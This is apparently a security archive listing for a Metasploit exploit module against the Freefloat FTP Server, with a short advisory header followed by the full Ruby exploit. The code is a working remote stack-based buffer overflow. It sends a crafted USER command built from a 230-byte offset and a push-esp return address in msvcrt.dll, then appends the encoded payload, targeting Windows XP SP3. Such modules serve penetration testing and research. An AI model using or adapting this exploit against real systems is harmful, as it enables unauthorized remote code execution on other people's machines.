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Free Float FTP Server USER Command Buffer Overflow

Free Float FTP Server USER Command Buffer Overflow
Posted Apr 18, 2013
Authored by D35m0nd142 | Site metasploit.com

Freefloat FTP Server is prone to an overflow condition. It fails to properly sanitize user-supplied input resulting in a stack-based buffer overflow. With a specially crafted 'USER' command, a remote attacker can potentially have an unspecified impact.

tags | exploit, remote, overflow
advisories | OSVDB-69621
SHA-256 | 9b812ca885b40a06ed5af29596e9d126320a1646dbcbe6be64b5c81887642462

Free Float FTP Server USER Command Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Free Float FTP Server USER Command Buffer Overflow',
'Description' => %q{
Freefloat FTP Server is prone to an overflow condition. It
fails to properly sanitize user-supplied input resulting in a
stack-based buffer overflow. With a specially crafted 'USER'
command, a remote attacker can potentially have an unspecified
impact.
},
'Platform' => 'win',
'Author' =>
[
'D35m0nd142', # Original exploit
'Doug Prostko <dougtko[at]gmail.com>' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '69621'],
[ 'EDB', '23243']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 444,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'FreeFloat / Windows XP SP3',
{
'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
'Offset' => 230
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2012'))
end

def check
connect
disconnect
if (banner =~ /FreeFloat/)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
connect
buf = rand_text(target['Offset'])
buf << [ target['Ret'] ].pack('V')
buf << rand_text(8)
buf << payload.encoded
send_user(buf)
disconnect
end
end
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